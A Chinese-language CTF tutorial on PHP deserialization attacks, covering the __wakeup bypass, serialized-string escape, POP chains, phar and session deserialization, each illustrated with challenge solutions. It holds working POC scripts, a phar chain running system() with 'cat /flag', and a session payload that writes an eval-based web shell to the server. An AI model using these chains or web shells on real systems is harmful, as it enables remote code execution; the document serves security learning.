首頁 後端開發 php教程 PHP反序列化入門總結(小白必看)

PHP反序列化入門總結(小白必看)

Jan 28, 2023 pm 06:04 PM
php 反序列化

PHP反序列化入門總結(小白必看)

最近寫了點反序列化的題,才疏學淺,希望對CTF新手有所幫助,有啥錯誤還請大師傅們批評指正。

php反序列化簡單理解

首先我們需要理解什麼是序列化,什麼是反序列化?

PHP序列化:serialize()

序列化是將變數或物件轉換成字串的過程,用於儲存或傳遞PHP 的值的過程中,同時不遺失其類型和結構。

PHP反序列化:unserialize()

反序列化是將字串轉換成變數或物件的過程

透過序列化與反序列化我們可以很方便的在PHP中進行物件的傳遞。本質上反序列化是沒有危害的。但如果使用者對資料可控那就可以利用反序列化建構payload攻擊。這樣說可能還不是很具體,舉個列子比如你網購買一個架子,發貨為節省成本,是拆開給你發過去,到你手上,然後給你說明書讓你組裝,拆開給你這個過程可以說是序列化,你組裝的過程就是反序列化

說這麼多不如直接一點測試一下

php序列化的字母標識

  • #a - array

  • b - boolean

  • d - double

  • ##i - integer

  • o - common object

  • #r - reference

  • ##s - string
  • C - custom object
  • O - class
  • N - null
  • R - pointer reference
  • U - unicode string
  • N - NULL
  • 測試一下
<?php  
class TEST{  
public $test1="11";  
private $test2="22";  
protected $test3="33";  
public function test4()  
{  
echo $this->test1;  
}  
}  
$a=new TEST();  
echo serialize($a);  
//O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}
登入後複製

O代表類,然後後面4代表類別名稱長度,接著雙引號內是類別名稱

然後是類別中變數的個數:{類型:長度: "值";類型:長度:"值"...以此類推}

protected 和private其實是有不可列印字元的,所以這裡附上截圖

PHP反序列化入門總結(小白必看)從圖中可以看到有幾個不可打印字符,關於這個還有一些特別的地方,和具體放在了後邊寫

有時候做題時為了防止傳參中有啥意外,通常就會urlencode一下

什麼是魔術方法? 做php反序列化的題總會遇到魔術方法

#其實就是一種特殊方法當對物件執行某些操作時會覆寫PHP 的默認操作

舉個例子如下,這裡用常見的construct和destruct魔術方法,其實就是建構函式和析構函式

<?php  
class A{  
public $a="这里是__construct";  
public function __construct()  
{  
echo $this->a;  
}  
public function __destruct()  
{  
echo $this->a="这里是__destruct";  
}  

}  
$a=new A();

//输出这里是construct这里是destruct
登入後複製

後邊的題中也會給一些測試魔術方法的例子

想買給出魔術方法觸發的情況,這對解題有很大幫助

    __construct 當一個物件創建時被調用,
  • __destruct 當一個物件銷毀時被調用,
  • __toString 當一個物件被當作一個字串被調用。
  • __wakeup() 使用unserialize時觸發
  • #__sleep() 使用serialize觸發
  • ## __destruct() 物件被銷毀時觸發

  • __call() 對不存在的方法或不可存取的方法進行呼叫就自動呼叫

  • __callStatic() 在靜態上下文中呼叫不可存取的方法時觸發

  • __get() 用於從不可存取的屬性讀取資料

  • __set() 在給予不可存取的(protected或private)或不存在的屬性賦值的時候,會被呼叫

  • __isset() 在不可存取的屬性上呼叫isset( )或empty()觸發

  • __unset() 在不可存取的屬性上使用unset()時觸發

  • __toString() 把類當作字串使用時觸發,回傳值需要為字串

  • __invoke() 當腳本嘗試將物件呼叫為函數時觸發

光看還是了解不夠,具體還得到親自嘗試才可以,下面我做了一些CTF題,在此分享給大家

簡單的反序列化題

題目來自[SWPUCTF 2021 新生賽]ez_unserialize

<?php  
error_reporting(0);  
show_source("cl45s.php");  

class wllm{  

public $admin;  
public $passwd;  

public function __construct(){  
$this->admin ="user";  
$this->passwd = "123456";  
}  

public function __destruct(){  
if($this->admin === "admin" && $this->passwd === "ctf"){  
include("flag.php");  
echo $flag;  
}else{  
echo $this->admin;  
echo $this->passwd;  
echo "Just a bit more!";  
}  
}  
}  

$p = $_GET[&#39;p&#39;];  
unserialize($p);  
?>
登入後複製

construct方法裡admin被賦值為user,passwd被賦值為123456,而在destruct方法裡admin被賦值為user,passwd被賦值為123456,而在destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"

這個式子成立才能輸出flag

php反序列化是可以控制類別方法的屬性但不能改類別方法的代碼

於是我們直接更改就行,

<?php  
class wllm{  

public $admin;  
public $passwd;  
public function __construct(){  
$this->admin ="admin";  
$this->passwd = "ctf";  
}  
}  
$a=new wllm();  
echo urlencode(serialize($a));  
?>
登入後複製

然後傳參就行了,一般這裡要url編碼一下,規避不可打印字符,前面我們提到private protected 屬性序列化出來會有不可列印字元。

__wakeup繞過

這個其實是CVE,CVE-2016-7124

影響版本php5<5.6.25 ,php7<7.010###

简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

而魔术方法__wakeup执行unserialize()时,先会调用这个函数

写个代码本地测试一下

<?php  
class A{  
public $a;  
public function __construct()  
{  
$this->a="触发__construct";  
}  
public function __wakeup()  
{  
$this->a="触发__wakeup";  
}  
public function __destruct()  
{  
echo $this->a;  
}  

}  
$a=new A();  
echo serialize($a);
登入後複製

O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下

反序列化一下,输出触发__wakeup

PHP反序列化入門總結(小白必看)

O:1:"A":2:{s:1:"a";s:17:"触发__construct";} 把对象个数改为2

PHP反序列化入門總結(小白必看)

触发__construct,绕过了wakeup

[极客大挑战 2019]PHP __wakeup()绕过

<?php  
include &#39;class.php&#39;;  
$select = $_GET[&#39;select&#39;];  
$res=unserialize(@$select);

<?php  
include &#39;flag.php&#39;;  


error_reporting(0);  


class Name{  
private $username = &#39;nonono&#39;;  
private $password = &#39;yesyes&#39;;  

public function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  

function __wakeup(){  
$this->username = &#39;guest&#39;;  
}  

function __destruct(){  
if ($this->password != 100) {  
echo "</br>NO!!!hacker!!!</br>";  
echo "You name is: ";  
echo $this->username;echo "</br>";  
echo "You password is: ";  
echo $this->password;echo "</br>";  
die();  
}  
if ($this->username === &#39;admin&#39;) {  
global $flag;  
echo $flag;  
}else{  
echo "</br>hello my friend~~</br>sorry i can&#39;t give you the flag!";  
die();  

}  
}  
}
登入後複製

看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest;

这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看

//$a=new Name(&#39;admin&#39;,&#39;100&#39;);  
//echo urlencode(serialize($a));  
//echo serialize($a);  
$b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D";  
var_dump(unserialize(urldecode($b)));
登入後複製

PHP反序列化入門總結(小白必看)

那么修改对象个数为大于2

O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
登入後複製

得到flag

PHP反序列化入門總結(小白必看)

POC

<?php  

 

class Name{  
private $username = &#39;admin&#39;;  
private $password = &#39;100&#39;;  

public function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  


}  

$a=new Name(&#39;admin&#39;,&#39;100&#39;);  
echo urlencode(serialize($a));  
//echo serialize($a);  
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D  
?>
登入後複製

反序列化逃逸问题

逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞

所以会有两种情况,一种是由长变短,一种是由短变长

由长变短

自己随手写个题测试下

<?php  
highlight_file(__FILE__);  
class A  
{  
public $a;  
public $b;  
public $c;  
public function __construct()  
{  
$this->a=$_GET[&#39;a&#39;];  
$this->b="noflag";  
$this->c=$_GET[&#39;c&#39;];  
}  
public function check()  
{  
if ($this->b==="123")  
{  
echo "flag{123dddd}";  
}  
else if ($this->a==="test")  
{  
echo "give you flag";  
}  
else  
{  
echo "no flag";  
}  
}  
public function __destruct()  
{  
$this->check();  
}  
}  
$a=new A();  
$b=serialize($a);  
$c=str_replace("aa","b",$b);  
unserialize($c);
登入後複製

这里本地写一个测试简单利用下,学会这个逃逸思路即可

$b=serialize($a);  
echo $b;  
$c=str_replace("aa","b",$b);  
echo($c);  
//O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}  
//O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}
登入後複製

这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag,

$this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉

开始构造

然后计算要吞噬掉多少位

PHP反序列化入門總結(小白必看)

print(len(&#39;";s:1:"b";s:6:"noflag";s:1:"c";s:3:&#39;))  
print(36*&#39;aa&#39;)  
//35  
//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
登入後複製

35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa

a=36个aa,c=;s:1:"b";s:3:"123

这样构造出来为

O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";}

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:

print(len(&#39;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:&#39;))
登入後複製

刚好为72个,成功反序列化,得到flag

PHP反序列化入門總結(小白必看)

由短变长

题目来自ctfshowWEB262

index.php

<?php  
error_reporting(0);  
class message{  
public $from;  
public $msg;  
public $to;  
public $token=&#39;user&#39;;  
public function __construct($f,$m,$t){  
$this->from = $f;  
$this->msg = $m;  
$this->to = $t;  
}  
}  

$f = $_GET[&#39;f&#39;];  
$m = $_GET[&#39;m&#39;];  
$t = $_GET[&#39;t&#39;];  

if(isset($f) && isset($m) && isset($t)){  
$msg = new message($f,$m,$t);  
$umsg = str_replace(&#39;fuck&#39;, &#39;loveU&#39;, serialize($msg));  
setcookie(&#39;msg&#39;,base64_encode($umsg));  
echo &#39;Your message has been sent&#39;;  
}
登入後複製

highlight_file(FILE);

从题目注释里可以找到message.php

message.php源码

<?php  

highlight_file(__FILE__);  
include(&#39;flag.php&#39;);  

class message{  
public $from;  
public $msg;  
public $to;  
public $token=&#39;user&#39;;  
public function __construct($f,$m,$t){  
$this->from = $f;  
$this->msg = $m;  
$this->to = $t;  
}  
}  

if(isset($_COOKIE[&#39;msg&#39;])){  
$msg = unserialize(base64_decode($_COOKIE[&#39;msg&#39;]));  
if($msg->token==&#39;admin&#39;){  
echo $flag;  
}  
}
登入後複製

很明显,要想得到flag要把token值更改为admin

但是正常反序列化,字符串个数是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下

<?php  
class test  
{  
public $username="fuckfuck";  
public $password;  

}  

$a=new test();  
//echo serialize($a);  
echo str_replace(&#39;fuck&#39;,&#39;loveU&#39;,serialize($a));  
//O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;}  
//O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;}
登入後複製

可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了

因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化

伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位

那么需要27个fuck就行

payload
?f=1
&m=1
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
登入後複製

然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路

POP链构造

做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下

[SWPUCTF 2021 新生赛]pop

题目源码

<?php  

error_reporting(0);  
show_source("index.php");  

class w44m{  

private $admin = &#39;aaa&#39;;  
protected $passwd = &#39;123456&#39;;  

public function Getflag(){  
if($this->admin === &#39;w44m&#39; && $this->passwd ===&#39;08067&#39;){  
include(&#39;flag.php&#39;);  
echo $flag;  
}else{  
echo $this->admin;  
echo $this->passwd;  
echo &#39;nono&#39;;  
}  
}  
}  

class w22m{  
public $w00m;  
public function __destruct(){  
echo $this->w00m;  
}  
}  

class w33m{  
public $w00m;  
public $w22m;  
public function __toString(){  
$this->w00m->{$this->w22m}();  
return 0;  
}  
}  

$w00m = $_GET[&#39;w00m&#39;];  
unserialize($w00m);  

?>
登入後複製

POP链入手,先找关键代码,然后推断

需要admin为w44m,passwd为08067 才能得到flag

if($this->admin === &#39;w44m&#39; && $this->passwd ===&#39;08067&#39;){
echo $flag;
登入後複製

发现可以利用$this->w00m->{$this->w22m}();

这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了

在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法

前面魔术方法提到

__toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m,

链子构造为 w22m::__destruct->w33m::toString->w44m::getflag

poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符

<?php  
class w44m{  

private $admin = &#39;w44m&#39;;  
protected $passwd = &#39;08067&#39;;  

}  
class w22m{  
public $w00m;  
public function __destruct(){  
echo $this->w00m;  
}  
}  
class w33m{  
public $w00m="";  
public $w22m="getflag";  
public function __toString(){  
$this->w00m->{$this->w22m}();  
return 1;  
}  
}  
$a=new w22m();  
$a->w00m=new w33m();  
$a->w00m->w00m=new w44m();  
echo urlencode( serialize($a));  


?>
登入後複製

[NISACTF 2022]babyserialize

<?php  
include "waf.php";  
class NISA{  
public $fun="show_me_flag";  
public $txw4ever;  
public function __wakeup()  
{  
if($this->fun=="show_me_flag"){  
hint();  
}  
}  

function __call($from,$val){  
$this->fun=$val[0];  
}  

public function __toString()  
{  
echo $this->fun;  
return " ";  
}  
public function __invoke()  
{  
checkcheck($this->txw4ever);  
@eval($this->txw4ever);  
}  
}  

class TianXiWei{  
public $ext;  
public $x;  
public function __wakeup()  
{  
$this->ext->nisa($this->x);  
}  
}  

class Ilovetxw{  
public $huang;  
public $su;  

public function __call($fun1,$arg){  
$this->huang->fun=$arg[0];  
}  

public function __toString(){  
$bb = $this->su;  
return $bb();  
}  
}  

class four{  
public $a="TXW4EVER";  
private $fun=&#39;abc&#39;;  

public function __set($name, $value)  
{  
$this->$name=$value;  
if ($this->fun = "sixsixsix"){  
strtolower($this->a);  
}  
}  
}  

if(isset($_GET[&#39;ser&#39;])){  
@unserialize($_GET[&#39;ser&#39;]);  
}else{  
highlight_file(__FILE__);  
}  

//func checkcheck($data){  
// if(preg_match(......)){  
// die(something wrong);  
// }  
//}  

//function hint(){  
// echo ".......";  
// die();  
//}  
?>

查看了一下提示发现什么也没有

if(isset($_GET[&#39;ser&#39;])){@unserialize($_GET[&#39;ser&#39;]);

这是头部

这是尾部

public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);

}
登入後複製

从__invoke()这里开始触发

__invoke() 当脚本尝试将对象调用为函数时触发

return $bb()而这里有一个函数调用

那么$bb是class Nisa的对象就会调用 __invoke

触发$bb要调用 __toString()

而__toString()是

当一个对象被当作一个字符串被调用。

找类似echo 这种代码,而这里有个strtolower

PHP反序列化入門總結(小白必看)

strtolower是在set方法里的

__set触发

在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

在four类的中有private $fun='abc';

Ilovetxw类中的__call方法访问了fun这个变量

function __call($from,$val){  
$this->fun=$val[0];  
}
登入後複製

而__call方法

对不存在的方法或者不可访问的方法进行调用就自动调用

TianXiWei类中的wakeup会触发call

$this->ext->nisa($this->x); nisa()这个方法并不存在

这里详细说下

<?php  
class nisa  
{  
public $b="";  
}  
class TianXiWei{  
public $ext;  
public $x;  
public function __wakeup()  
{  
$this->ext->nisa($this->x);  
}  
}  

class test  
{  
public $a ="";  
public function __call($a,$b)  
{  
echo "call";  
}  
}  
$a=new TianXiWei();  
$a->ext=new test();  
//echo urlencode(serialize($a));  
echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;}  
//echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}
登入後複製

wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化$a和$->ext是不一样的结果

链子很清晰了

TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke

POC

<?php  
class NISA  
{  
public $fun = "";  
public $txw4ever = "sYstem(&#39;ls /&#39;);";//有过滤,大小写绕过  
}  
class TianXiWei{  
public $ext;  
public $x;  
}  
class Ilovetxw{  
public $huang;  
public $su;  
}  
class four{  
public $a="TXW4EVER";  
private $fun=&#39;abc&#39;;  

}  
$a=new TianXiWei();//从这里下手触发__wakeup  
$a->ext=new Ilovetxw();//触发__call  
$a->ext->huang=new four();//触发__set  
$a->ext->huang->a=new Ilovetxw();//触发__tosrting  
$a->ext->huang->a->su=new NISA();//触发__invoke  
echo urlencode(serialize($a));
登入後複製

相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造

phar反序列化

单的理解phar反序列化

phar是什么?

phar是php提供的一类文件的后缀名称,也是php伪协议的一种。

phar可以干什么?

将多个php文件合并成一个独立的压缩包,相对独立

不用解压到硬盘就可以运行php脚本

支持web服务器和命令行运行

注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

PHP反序列化入門總結(小白必看)

phar文件的的结构

一个phar文件通常由四部分组成,

  • a stub:可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

  • a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

  • the file contents:被压缩文件的内容。这里不是重点,内容不影响

  • [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾

<?php  
class Test {//自定义  
}  

@unlink("phar.phar");  
$phar = new Phar("phar.phar"); //后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub  
$o = new Test();  
$phar->setMetadata($o); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();  

?>
登入後複製

生成一个phar.phar文件

PHP反序列化入門總結(小白必看)

拉进010分析

1PHP反序列化入門總結(小白必看)

可以清楚看到一个标识符,一个序列化,一个文件名

有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下

is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file

<?php  
highlight_file(__FILE__);  
class Test {//自定义  
public $name=&#39;phpinfo();&#39;;  
}  
$phar=new phar(&#39;rce.phar&#39;);  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>");  
$o=new Test();  
$phar->setMetadata($o);  
$phar->addFromString("flag.txt","flag");//添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();  
?>
登入後複製

这里用file_get_contents测试下

<?php  
class test{  
public $name=&#39;&#39;;  
public function __destruct()  
{  
eval($this->name);  
}  
}  

echo file_get_contents(&#39;phar://rce.phar/flag.txt&#39;);  
?>
登入後複製

1PHP反序列化入門總結(小白必看)

漏洞利用条件

  • phar文件要能够上传到服务器端。

  • 要有可用的魔术方法作为“跳板”。

  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

姿势

compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt

php://filter/read=convert.base64-encode/resource=phar://phar.phar
登入後複製

可以用于文件上传,有文件上传头限制,还可以这样,例如GIF

$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif
登入後複製

[SWPUCTF 2021 新生赛]babyunser phar反序列化

查看class.php获取源码

<?php  
class aa{  
public $name;  

public function __construct(){  
$this->name=&#39;aa&#39;;  
}  

public function __destruct(){  
$this->name=strtolower($this->name);  
}  
}  

class ff{  
private $content;  
public $func;  

public function __construct(){  
$this->content="<?php @eval($_POST[1]);?>";  
}  

public function __get($key){  
$this->$key->{$this->func}($_POST[&#39;cmd&#39;]);  
}  
}  

class zz{  
public $filename;  
public $content=&#39;surprise&#39;;  

public function __construct($filename){  
$this->filename=$filename;  
}  

public function filter(){  
if(preg_match(&#39;/^/|php:|data|zip|..//i&#39;,$this->filename)){  
die(&#39;这不合理&#39;);  
}  
}  

public function write($var){  
$filename=$this->filename;  
$lt=$this->filename->$var;  
//此功能废弃,不想写了  
}  

public function getFile(){  
$this->filter();  
$contents=file_get_contents($this->filename);  
if(!empty($contents)){  
return $contents;  
}else{  
die("404 not found");  
}  
}  

public function __toString(){  
$this->{$_POST[&#39;method&#39;]}($_POST[&#39;var&#39;]);  
return $this->content;  
}  
}  

class xx{  
public $name;  
public $arg;  

public function __construct(){  
$this->name=&#39;eval&#39;;  
$this->arg=&#39;phpinfo();&#39;;  
}  

public function __call($name,$arg){  
$name($arg[0]);  
}  
}

<?php  
error_reporting(0);  
$filename=$_POST[&#39;file&#39;];  
if(!isset($filename)){  
die();  
}  
$file=new zz($filename);  
$contents=$file->getFile();  
?>  
<br>  
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>
登入後複製

构造链子

先找到关键的代码$this->$key->{$this->func}($_POST['cmd']);,通过这个可以构造命令执行,所以要想办法触发__get($key),

__get() 用于从不可访问的属性读取数据,ff类的 private $content;是不可访问的属性

访问content可以触发get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower这个函数之前提到,可以触发tostring,利用它去触发zz::_tostring方法,利用方法里的$this->{$POST['method']}($_POST['var']);去构造method=write&var=content,

aa::destruct()->zz::toString()->zz::write->xx->ff::__get()

看着好奇怪,为什么要用write去这样钩爪,因为__get()触发需要,构造write函数进行访问content成员,不仅要用这个属性去new一个对象,还要对它进行访问

如下代码进行测试

<?php  
class test  
{  
private $a;  
public $b;  

public function __construct($a,$b)  
{  
$this->a="aaa";  
$this->b="bbb";  

}  
public function __get($name)  
{  
// TODO: Implement __get() method.  

$this->a="__get";  
$this->b="111";  
}  
public function __destruct()  
{  
echo $this->a;  
echo $this->b;  
}  
}  
$a =new test("s","s");  
//echo $a->a;  
$b=serialize($a);  
unserialize($b);
登入後複製

注释掉echo 输出是aaabbbaaabbb

去掉注释输出是get111get111

如此那么构造POP链子

<?php  
class aa{  
public $name;  
}  
class ff{  
private $content;  
public $func;  
public function __construct(){  
$this->content=new xx();//这里New xx  
}  
}  
class zz{  
public $filename;  
public $content;  
}  
class xx  
{  
public $name;  
public $arg;  
}  

$a=new aa();  
$c=new ff();  
$a->name=new zz();  
$c->func="system";  
$a->name->filename=$c;  

$phar = new Phar("flag.phar"); //后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub  
//$o = new Test();  
$phar->setMetadata($a); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();
登入後複製

1PHP反序列化入門總結(小白必看)

上传之后使用phar协议读取

file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag

session反序列化

session与cookie很像,都是客户端与服务端会话时,用户的标识, PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。

而session是以文件方式存储的

直接找一道题做做

题目来自ctfshowWEB263

打开是一个登录页面,用目录扫描扫一下,这里我用的是dirsearch

dirsearch -u "http://4b00e046-35c4-458d-93e7-e3ff83049288.challenge.ctf.show/" -e*

1PHP反序列化入門總結(小白必看)

存在源码泄露,访问www.zip,下载下来源码,关键代码

index.php源码

*/  
error_reporting(0);  
session_start();  
//超过5次禁止登陆  
if(isset($_SESSION[&#39;limit&#39;])){  
$_SESSION[&#39;limti&#39;]>5?die("登陆失败次数超过限制"):$_SESSION[&#39;limit&#39;]=base64_decode($_COOKIE[&#39;limit&#39;]);  
$_COOKIE[&#39;limit&#39;] = base64_encode(base64_decode($_COOKIE[&#39;limit&#39;]) +1);  
}else{  
setcookie("limit",base64_encode(&#39;1&#39;));  
$_SESSION[&#39;limit&#39;]= 1;  
}  

?>
登入後複製

check.php源码

<?php  

/*  
# -*- coding: utf-8 -*-  
# @Author: h1xa  
# @Date: 2020-09-03 16:59:10  
# @Last Modified by: h1xa  
# @Last Modified time: 2020-09-06 19:15:38  
# @email: h1xa@ctfer.com  
# @link: https://ctfer.com  

*/  

error_reporting(0);  
require_once &#39;inc/inc.php&#39;;  
$GET = array("u"=>$_GET[&#39;u&#39;],"pass"=>$_GET[&#39;pass&#39;]);  


if($GET){  

$data= $db->get(&#39;admin&#39;,  
[ &#39;id&#39;,  
&#39;UserName0&#39;  
],[  
"AND"=>[  
"UserName0[=]"=>$GET[&#39;u&#39;],  
"PassWord1[=]"=>$GET[&#39;pass&#39;] //密码必须为128位大小写字母+数字+特殊符号,防止爆破  
]  
]);  
if($data[&#39;id&#39;]){  
//登陆成功取消次数累计  
$_SESSION[&#39;limit&#39;]= 0;  
echo json_encode(array("success","msg"=>"欢迎您".$data[&#39;UserName0&#39;]));  
}else{  
//登陆失败累计次数加1  
$_COOKIE[&#39;limit&#39;] = base64_encode(base64_decode($_COOKIE[&#39;limit&#39;])+1);  
echo json_encode(array("error","msg"=>"登陆失败"));  
}  
}

inc.php中有一个这个

ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);

而session存储格式(序列化)其中有这两种

ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);

ini_set(&#39;session.serialize_handler&#39;, &#39; php_serialize &#39;);
登入後複製

测试一下看这两个什么区别

<?php  
ini_set(&#39;session.serialize_handler&#39;,&#39;php&#39;);  
session_start();  
class test1{  
public $a="test";  
}  
$a=new test1();  
$_SESSION[&#39;user&#39;]=$a;
登入後複製

在tmp下找到这个文件打开看

user|O:5:"test1":1:{s:1:"a";s:4:"test";}

<?php  
ini_set(&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);  
session_start();  
class test1{  
public $a="test";  
}  
$a=new test1();  
$_SESSION[&#39;user&#39;]=$a;

a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}}
登入後複製

两种方式的区别主要是“|”符号,在php机制中,只会序列化“|”符号后面的内容

inc.php中关键代码

class User{  
public $username;  
public $password;  
public $status;  
function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  
function setStatus($s){  
$this->status=$s;  
}  
function __destruct(){  
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format(&#39;Y-m-d H:i:s&#39;));  
}  
}

function __destruct(){

file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format(&#39;Y-m-d H:i:s&#39;));

}
登入後複製

可以利用这个函数写一句话木马

而session_start() 函数会解析 session 文件,就相当于进行了反序列化,session值我们是可控的,这样的话反序列化有了,只要构造出序列化字符串触发 User类 的 __destruct方法就可以了

<?php  
class User  
{  
public $username;  
public $password;  

function __construct($username, $password)  
{  
$this->username = $username;  
$this->password = $password;  
}  
}  
$a=new User(&#39;1.php&#39;,&#39;<?php eval($_POST["1"]);?>&#39;);  
echo base64_encode("|".serialize($a));
登入後複製

访问的时候文件名是log-拼接,所以是log-1.php,index.php里面三元条件运算符:$SESSION['limti']>5?die("登陆失败次数超过限制"):$SESSION['limit']=base64_decode($_COOKIE['limit')

第一个式子不成立,则执行$SESSION['limit']=base64_decode($COOKIE['limit')

,因为有base64_decode,所以这里我们还有base64_encode一下

抓包改limit值

1PHP反序列化入門總結(小白必看)

然后发包,接着访问check.php 实现反序列化shell的写入

1PHP反序列化入門總結(小白必看)

然后变更请求方法,注意直接右键选择变更POST请求

1PHP反序列化入門總結(小白必看)

tricks总结

16进制绕过字符过滤

